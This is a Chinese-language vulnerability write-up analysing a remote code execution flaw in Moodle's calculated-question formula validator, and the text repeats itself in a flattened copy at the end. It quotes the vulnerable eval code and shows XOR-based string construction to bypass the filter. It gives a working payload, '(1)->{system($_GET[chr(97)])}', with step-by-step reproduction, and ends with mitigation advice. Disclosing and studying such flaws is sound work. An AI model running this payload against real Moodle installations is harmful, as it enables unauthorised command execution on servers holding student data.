巧用异或绕过限制导致rce
字数 1080 2025-08-22 12:23:36

Moodle课程系统后台RCE漏洞分析与利用

0x00 系统介绍

Moodle (moodle.org) 是一个开源的在线教育系统(慕课),采用PHP+Mysql开发,主要功能模块包括:

  • 课程管理
  • 作业模块
  • 聊天模块
  • 投票模块
  • 论坛模块
  • 测验模块
  • 资源模块
  • 问卷调查模块
  • 互动评价(workshop)

0x01 漏洞分析

漏洞背景

当教师出计算题时,可以使用变量(通配符)如{a},系统会检测公式合规性后传递给eval()执行。如果能绕过公式检测,就能执行任意方法。

关键代码分析

  1. calculate方法:
public function calculate($expression) {
    // 检测公式错误
    if ($error = qtype_calculated_find_formula_errors($expression)) {
        throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $error);
    }
    $expression = $this->substitute_values_for_eval($expression);
    if ($datasets = question_bank::get_qtype('calculated')->find_dataset_names($expression)) {
        throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '',
            '{' . reset($datasets) . '}');
    }
    return $this->calculate_raw($expression);
}
  1. calculate_raw方法:
protected function calculate_raw($expression) {
    try {
        if (@eval('return true; $result = ' . $expression . ';')) {
            return eval('return ' . $expression . ';');
        }
    } catch (Throwable $e) {
    }
    throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $expression);
}
  1. 公式检测函数qtype_calculated_find_formula_errors:
function qtype_calculated_find_formula_errors($formula) {
    // 检测PHP注释和标签
    foreach (['//', '/*', '#', '<?', '?>'] as $commentstart) {
        if (strpos($formula, $commentstart) !== false) {
            return get_string('illegalformulasyntax', 'qtype_calculated', $commentstart);
        }
    }

    // 替换变量为1.0
    $formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula);
    
    // 转换为小写并删除空格
    $formula = strtolower(str_replace(' ', '', $formula));

    // 定义安全运算符
    $safeoperatorchar = '-+/*%>:^\~<?=&|!';
    $operatorornumber = "[{$safeoperatorchar}.0-9eE]";

    // 函数调用检测
    while (preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" .
          "\$({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\$~",$formula, $regs)) {
          // 函数名和参数数量检查
          switch ($regs[2]) {
              // 省略具体检查逻辑...
          }

          // 替换函数调用为1.0
          if ($regs[1]) {
              $formula = str_replace($regs[0], $regs[1] . '1.0', $formula);
          } else {
              $formula = preg_replace('~^' . preg_quote($regs[2], '~') . '$[^)]*$~', '1.0', $formula);
          }
    }

    // 最终字符检查
    if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {
        return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
    } else {
        return false;
    }
}

0x02 绕过分析

初始绕过思路

  1. 利用异或运算符(^):

    • 安全运算符中包含^(异或)
    • 可以利用acos(2)返回"NAN"的特性构造字符串
    • 示例: (acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1) => "NAN1" ^ "000" ^ "111" => "O"
  2. 构造任意字符串:

    • 通过组合不同的数字和运算符可以构造出任意字符串
    • 示例构造"PRINF":
    (acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0)
    
  3. 利用可变函数特性:

    • PHP支持"function_name"()形式的可变函数调用
    • 但直接使用(xxx)()形式会被检测阻止
  4. 利用变量替换:

    • 系统会将{a}替换为(a)
    • 构造"phpinfo"{a} => "phpinfo"(a) => phpinfo(1)
    • 示例构造"phpinfo":
    ((acos(2) . 0+acos(2) . 0+acos(2)) ^ (2 . 1 . 1 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . 0 . 0 . 0) ^ (0 . 0 . -4 . 8 . 8 . 1) ^ (-8 . 2 . 3 . 7 . 0 . 0))
    

0x03 再绕过

最终RCE方案

  1. 利用可变变量特性:

    • PHP支持->{..}访问类成员变量
    • ->在安全运算符中
    • 构造payload: (1)->{system($_GET[chr(97)])}
  2. 绕过变量替换:

    • 前端将数据集<select>的value置空
    • 防止{..}被替换为1.0
  3. 绕过引号限制:

    • 使用[chr(97)]代替['a']
    • 通过GET参数a传递命令

0x04 漏洞复现步骤

  1. 在题库中创建题目,公式设置为payload:

    (1)->{system($_GET[chr(97)])}
    
  2. 在配置变量数据集选项中将value置空

  3. 点击下一页时抓包,添加参数a=命令执行:

    http://target/page.php?a=ipconfig
    

总结

该漏洞利用链的关键点:

  1. 利用异或运算构造字符串
  2. 利用PHP可变函数和可变变量特性
  3. 巧妙绕过公式检测的多重限制
  4. 通过GET参数传递命令实现RCE

防护建议:

  1. 严格限制eval执行的输入
  2. 加强公式检测逻辑
  3. 禁用危险函数
  4. 及时更新系统补丁
Moodle课程系统后台RCE漏洞分析与利用 0x00 系统介绍 Moodle (moodle.org) 是一个开源的在线教育系统(慕课),采用PHP+Mysql开发,主要功能模块包括: 课程管理 作业模块 聊天模块 投票模块 论坛模块 测验模块 资源模块 问卷调查模块 互动评价(workshop) 0x01 漏洞分析 漏洞背景 当教师出计算题时,可以使用变量(通配符)如{a},系统会检测公式合规性后传递给eval()执行。如果能绕过公式检测,就能执行任意方法。 关键代码分析 calculate方法 : calculate_ raw方法 : 公式检测函数qtype_ calculated_ find_ formula_ errors : 0x02 绕过分析 初始绕过思路 利用异或运算符(^) : 安全运算符中包含 ^ (异或) 可以利用 acos(2) 返回"NAN"的特性构造字符串 示例: (acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1) => "NAN1" ^ "000" ^ "111" => "O" 构造任意字符串 : 通过组合不同的数字和运算符可以构造出任意字符串 示例构造"PRINF": 利用可变函数特性 : PHP支持 "function_name"() 形式的可变函数调用 但直接使用 (xxx)() 形式会被检测阻止 利用变量替换 : 系统会将 {a} 替换为 (a) 构造 "phpinfo"{a} => "phpinfo"(a) => phpinfo(1) 示例构造"phpinfo": 0x03 再绕过 最终RCE方案 利用可变变量特性 : PHP支持 ->{..} 访问类成员变量 -> 在安全运算符中 构造payload: (1)->{system($_GET[chr(97)])} 绕过变量替换 : 前端将数据集 <select> 的value置空 防止 {..} 被替换为 1.0 绕过引号限制 : 使用 [chr(97)] 代替 ['a'] 通过GET参数a传递命令 0x04 漏洞复现步骤 在题库中创建题目,公式设置为payload: 在配置变量数据集选项中将value置空 点击下一页时抓包,添加参数 a=命令 执行: 总结 该漏洞利用链的关键点: 利用异或运算构造字符串 利用PHP可变函数和可变变量特性 巧妙绕过公式检测的多重限制 通过GET参数传递命令实现RCE 防护建议: 严格限制eval执行的输入 加强公式检测逻辑 禁用危险函数 及时更新系统补丁